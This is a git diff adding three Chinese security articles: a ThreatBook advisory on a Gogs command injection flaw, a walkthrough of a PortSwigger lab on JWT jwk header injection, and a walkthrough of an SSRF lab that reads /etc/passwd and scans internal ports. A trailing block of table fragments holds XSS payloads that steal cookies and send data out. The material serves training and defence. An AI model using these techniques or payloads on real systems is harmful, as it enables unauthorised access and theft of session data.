diff --git a/doc/2025-06/漏洞通告 Gogs远程命令注入漏洞.md b/doc/2025-06/漏洞通告 Gogs远程命令注入漏洞.md new file mode 100644 index 00000000..6d54b612 --- /dev/null +++ b/doc/2025-06/漏洞通告 Gogs远程命令注入漏洞.md @@ -0,0 +1,124 @@ +# 漏洞通告 | Gogs远程命令注入漏洞 +原创 微步情报局 微步在线研究响应中心 2025-06-25 07:44 + + + + +**漏洞概况** + + + +Gogs是一个轻量级、易于使用和定制的自托管Git服务,可以在多个操作系统上运行。它提供了Web界面来管理Git仓库、团队成员、权限等,并支持代码审核、问题跟踪、Wiki、持续集成等功能。 + +微步情报局获取到Gogs命令注入漏洞(CVE-2024-56731)漏洞情报,Gogs 对 .git 目录的路径进行检查以防止用户对.git目录的操作,但通过符号链接可以绕过检测来重写config文件导致命令注入。 + +该漏洞需要用户权限但 +影响范围较大、利用难度较低 +,建议受影响用户 +尽快修复 +。 + +**漏洞处置优先级(VPT)** + + + +**综合处置优先级:高** +基本信息微步编号XVE-2024-42325CVE编号CVE-2024-56731漏洞类型命令注入利用条件评估利用漏洞的网络条件远程是否需要绕过安全机制不需要对被攻击系统的要求需要出网利用漏洞的权限要求需要权限是否需要受害者配合否利用情报POC是否公开否已知利用行为否 +**** +**漏洞影响范围** + + + +产品名称Gogs|Gogs受影响版本version<0.13.3有无修复补丁有 + +**漏洞复现** + + + + + + + + + +**修复方案** + + + + +**官方修复方案:** + +官方已更新版本修复漏洞,访问链接进行更新 + +https://github.com/gogs/gogs/releases/tag/v0.13.3 +## 临时缓解措施: + +1.在app.ini中关闭Gogs用户注册功能 + +[auth] + +DISABLE_REGISTRATION = true + +2.使用防护设备对漏洞路由进行检测是否存在恶意文件内容或对.git目录的恶意操作 + +**微步产品侧支持情况** + + + +微步 +威胁感知平台TDP +已支持检测,TDP检测ID:S3100134330 +,模型/规则高于20231205000000 +可检出。 + + + + +- END - + + + // + +**微步漏洞情报订阅服务** + + +微步提供漏洞情报订阅服务,精准、高效助力企业漏洞运营: +- 提供高价值漏洞情报,具备及时、准确、全面和可操作性,帮助企业高效应对漏洞应急与日常运营难题; + +- 可实现对高威胁漏洞提前掌握,以最快的效率解决信息差问题,缩短漏洞运营MTTR; + +- 提供漏洞完整的技术细节,更贴近用户漏洞处置的落地; + +- 将漏洞与威胁事件库、APT组织和黑产团伙攻击大数据、网络空间测绘等结合,对漏洞的实际风险进行持续动态更新 +。 + + +扫码在线沟通 + +↓ +↓↓ + + + + + + +[点此电话咨询]() + + + + +**X漏洞奖励计划** + + +“X漏洞奖励计划”是微步X情报社区推出的一款 +针对未公开 +漏洞的奖励计划,我们鼓励白帽子提交挖掘到的0day漏洞,并给予白帽子可观的奖励。我们期望通过该计划与白帽子共同努力,提升0day防御能力,守护数字世界安全。 + +活动详情: +https://x.threatbook.com/v5/vulReward + + + +[](https://mp.weixin.qq.com/s?__biz=MzI5NjA0NjI5MQ==&mid=2650184178&idx=1&sn=42c6b4bb8e2a1d95c686725b2159bc97&scene=21#wechat_redirect) + diff --git a/doc/2025-06/破解 JWT:漏洞赏金猎人指南(第三部分).md b/doc/2025-06/破解 JWT:漏洞赏金猎人指南(第三部分).md new file mode 100644 index 00000000..0e025d25 --- /dev/null +++ b/doc/2025-06/破解 JWT:漏洞赏金猎人指南(第三部分).md @@ -0,0 +1,218 @@ +# 破解 JWT:漏洞赏金猎人指南(第三部分) +haidragon 安全狗的自我修养 2025-06-25 04:09 + +## 通过不安全的 jwk 标头注入来绕过 JWT 身份验证允许攻击者伪造令牌并获得未经授权的管理员访问权限。 + + + 前言 + +JWT 让我着迷——不仅仅是因为它们紧凑的设计或无状态的强大功能,更在于当你修改正确的标头或签名时,它们会悄无声息地崩溃。如果你一直在关注这篇文章,那么你已经看到了第一篇文章:通过未经验证且存在缺陷的算法绕过 JWT 的惨痛教训,我甚至没有对令牌进行签名就绕过了身份验证。接下来是第二篇文章,我通过弱签名密钥暴力破解绕过了 JWT 身份验证。 + +现在是时候进一步加大力度了。 + +本实验深入探讨了一种更加优雅且险恶的漏洞——通过jwk标头注入绕过 JWT 身份验证。简单来说:我将自己的公钥注入JWT 标头,并使用相应的私钥对令牌进行签名。服务器呢?它直接接受,不会询问任何问题。解锁了完全管理员权限。🗿 + + + +JWT 索引 + + + + +# ✨ 简介 + +JSON Web Tokens (JWT) 在现代 Web 应用中随处可见——它支持登录、会话和安全数据交换。它们简洁、独立,但一旦被误用,就会非常危险。其中一种配置错误?信任直接嵌入在 token 头中的密钥。没错,这就是本实验室的攻略所在。 + +输入jwk字段 — JSON Web Key 的缩写。它是 JSON 格式的公钥的结构化表示,通常用于验证 JWT 签名。理论上,它旨在通过适当的 JWK 端点进行可信密钥分发。但实际上呢?如果您的后端jwk直接从传入的 JWT 标头解析并信任某个值,那么您就已经失败了。 + +在这个 PortSwigger Burp Suite 实验中,我利用了一个微妙但极具破坏性的漏洞:JWK 标头注入。通过在 JWT 标头中插入自定义公钥,我让服务器验证了我伪造的令牌——无需共享密钥,无需白名单,没有任何阻力。 + +有什么影响?我解锁了管理面板,然后删除了那个用户,carlos就像周日例行公事一样。🔥 + + + +JWT 身份验证绕过(第三部分) + + + + +# 🧪 实验室概述 +- jwk实验室:通过标头注入绕过 JWT 身份验证 +- 目标:获得管理员权限并删除carlos +- 证书:wiener:peter +- 漏洞:服务器盲目信任 JWT 标头中的公钥🤯 +# 逐步利用(PoC)🔍 +## 背景:在 Burp Suite 中安装 JWT 编辑器扩展 + + + +1. 访问实验室网址:https://portswigger.net/web-security/jwt/lab-jwt-authentication-bypass-via-jwk-header-injection并使用凭据登录:wiener:peter👤 +2. 尝试访问 的管理面板/admin。响应显示:“仅以管理员身份登录后才能使用管理界面。” 🚫 + + + + +3.捕获/admin请求并将其发送到 Burp Repeater 进行进一步操作。 + + + + +4. 在 Burp Suite 中打开 JWT 编辑器选项卡。点击“新建 RSA 密钥”创建一个新的 RSA 密钥,然后点击“生成”即可生成新的密钥对。🔑✨ + + + + +5. 返回 Burp Repeater 并打开 JSON Web Token 选项卡。将sub声明从 更改为wiener,修改令牌有效负载administrator。点击“攻击”。🎯 + + + + +6.选择嵌入式JWK攻击选项。 + + + + +7.选择新生成的 RSA 密钥嵌入到 JWT 标头中。 + + + + +8. 请注意,JWT 标头现在包含一个jwk包含您的公钥的参数。🧩 + + + + +9. 发送修改后的请求。现在您可以访问管理面板,绕过身份验证检查。🚪🛡️ + + + + +10. 将请求 URL 更改为/admin/delete?username=carlos删除用户carlos,然后发送请求。💀 + + + + +11. 右键单击该请求,然后选择“在浏览器中显示”。复制并粘贴 URL 到浏览器中,确认实验已完成。🎉 恭喜! + + + + + + +# 🔎 为什么这有效? + +让我们来剖析一下这个问题。缺陷在于一个错误的假设:信任客户端发送的内容。 + +该实验室的后端不会使用已知的服务器端密钥来验证 JWT,而是直接从 JWT 的参数中解析出公钥jwk,并用它来验证签名。这就像把保险库的钥匙交给敌人,然后问他:“你是主人吗?” + +所以我: +1. 生成 RSA 密钥对。 +1. 将公钥嵌入到 JWT 标头中jwk。 +1. 使用我的私钥对令牌进行签名。 +1. sub: administrator在有效载荷中设置。 +1. 利润。 +# 🔐 如何缓解 + +为了防止这种疯狂的行为: +- ❌ 永远不要相信来自令牌头的密钥。 +- ✅ 仅针对已知的静态键集强制验证。 +- 🔒 在服务器端安全地存储您的公钥。 +- ⚠️ 避免动态 JWK 解析,除非与受信任的 JWKS 端点配对。 +- 🔁 实施分层防御:身份验证≠授权。 +# 💭 最后的想法 + +本实验是一场大师班,它将向您展示如何在正确的地方信任错误的东西,从而瓦解您的安全堆栈。JWT 可以做到万无一失——但前提是您必须验证真正重要的内容。 +- 验证您的密钥。 +- 保护您的签名逻辑。 +- 永远不要仅仅因为令牌格式正确就假设它是值得信赖的。 +# 🧠 学习、破解、重复! + +这样的实验室能磨砺你的优势。它们不仅教授工具,更教授思维方式——发现假设并将其彻底颠覆。这就是你在竞争中保持领先的秘诀。 + +在下一个漏洞出现之前:大胆入侵,谨慎验证,永远不要相信标头 + + + + + + + + +# + + + + + +rust语言全栈开发视频教程-第一季(2025最新) + + + + + + + +# 详细目录 +# mac/ios安全视频 + + +# QT开发底层原理与安全逆向视频教程 + + + +linux文件系统存储与文件过滤安全开发视频教程(2024最新) + + + +linux高级usb安全开发与源码分析视频教程 + + + +linux程序设计与安全开发 + + + +-  + +- # + +- +- windows网络安全防火墙与虚拟网卡(更新完成) + +-  + +- windows文件过滤(更新完成) + +-  + +- USB过滤(更新完成) + +-  + +- 游戏安全(更新中) + +-  + +- ios逆向 + +-  + +- windbg + +-  + +- 还有很多免费教程(限学员) + +- +- +- +- windows恶意软件开发与对抗视频教程 + +- +-  + +-  + +- +-  + diff --git a/doc/2025-06/靶场攻防SSRF漏洞打穿内网(1).md b/doc/2025-06/靶场攻防SSRF漏洞打穿内网(1).md new file mode 100644 index 00000000..b89d4ae1 --- /dev/null +++ b/doc/2025-06/靶场攻防SSRF漏洞打穿内网(1).md @@ -0,0 +1,119 @@ +# 靶场攻防|SSRF漏洞打穿内网(1) + 天黑说嘿话 2025-06-25 02:23 + +“我愿自己是一只上足了发条的时钟,在昼夜不停的流转中留下自己充实的每一刻。”-《钢铁是怎样炼成的》 + + + +今天沐泽为大家带来ssrf靶场通关系列第一期! + +我们使用国光师傅的ssrf靶场,感兴趣的小伙伴可以自己搭建一个试试看呢! + + + + + + + + +我们先来看看本次靶场的拓扑图: + + + +粗心的程序员做了一个迷之操作 + +172.72.23.21 这个服务器的 Web 80 端口存在 SSRF 漏洞,并且 80 端口映射到了公网的 8080,此时攻击者通过这个 8080 端口可以借助 SSRF 漏洞发起对 172 目标内网的探测和攻击。 + + + +一.判断 SSRF 是否存在 + +能够对外发起网络请求的地方,就可能存在 SSRF,所以先判断SSRF漏洞是否存在 + + + + 先尝试获取外网 URL 试试看,测试一下经典的 百度 robots.txt: + + + + +测试成功,网站请求了 Baidu 的 robots.txt 文件了,并将请求页面的内容回显到了网站前端中。那么接下来尝试获取内网 URL 看看会有什么反应 + + + +测试依然成功,网站请求了 127.0.0.1 的 80 端口 ,也就是此可我们浏览的界面,所以我们就看到了图片上的 “套娃” 现象。 通过以上两次请求,已经基本上可以确定这个输入框就是传说中的 SSRF 的漏洞点了,即没有对用户的输入进行过滤,导致可以用来发起任意的内网或者外网的请求。 + + + +二. SSRF 获取本地信息 + +我们可以尝试配合 file 协议来读取本地的文件信息,首先尝试使用 file 协议来读取 /etc/passwd 文件试试看: + + + + + + +我们再去尝试一下其他的文件如/etc/group,/etc/hosts + + + + + +我们看到/etc/hosts有一个172.72.23.21的ip地址,这个就是当前服务器的内网地址,那么接下来我们就是开始对内网进行信息收集并开始尝试攻击 + + + +三.SSRF 探测内网端口 + +SSRF 常配合 DICT 协议探测内网端口开放情况,但不是所有的端口都可以被探测,一般只能探测出一些带 TCP 回显的端口,具体可以探测哪些端口需要大家自己动手去测试一下,BP 下使用迭代器模式爆破,设置好要爆破的 IP 和 端口即可批量探测出端口开放的信息 + + +首先在注入点输入 + + + + + +通过BP去抓包 + + + +然后我们选择狙击手模式并在端口(图中22)位置处添加变量 + +这里我们攻击的是172.72.23.1并在端口处添加变量 + + + +然后在payload处选择payload类型并添加端口号字典开始攻击 + + + +通过长度和具体内容来判断该端口是否开启 + + + +然后我们更换IP重复上述操作探测其他的端口开放情况 + + + +以下是整理出来的具体数据 + + + +okk,那我今日的分享就到了这里结束啦! + +ssrf前三关很简单 + +后续会继续更新 + +大家敬请期待 + +希望沐泽有帮助到大家哦 + +如果可以的话点点赞支持一下呗 + + + + +
01
|生成式AI驱动攻击的现实已到来
02
|OpenAI拿下美军2亿美元AI订单
03
|160亿登录凭证泄露
POC
验证阶段
渗透对象
" onmouseover="alert(1)" x="
基础验证弹窗
事件触发机制
" onmouseover="alert(document.cookie)" x="
会话穿透
HttpOnly Cookie保护
" onmouseover="(new Image).src='...'" x="
数据渗出
DOM核心业务节点
时间
事件
利用漏洞
2017 年
Wannacry 勒索病毒
Windows SMB 漏洞
2010 年
震网病毒
Windows 及 WinCC 系统漏洞
2003 年
冲击波蠕虫
Windows DCOM RPC 缓冲区溢出漏洞
基本信息
微步编号
利用条件评估
利用漏洞的网络条件
是否需要绕过安全机制
对被攻击系统的要求
利用漏洞的权限要求
是否需要受害者配合
利用情报
POC是否公开
产品名称
受影响版本
version<0.13.3
有无修复补丁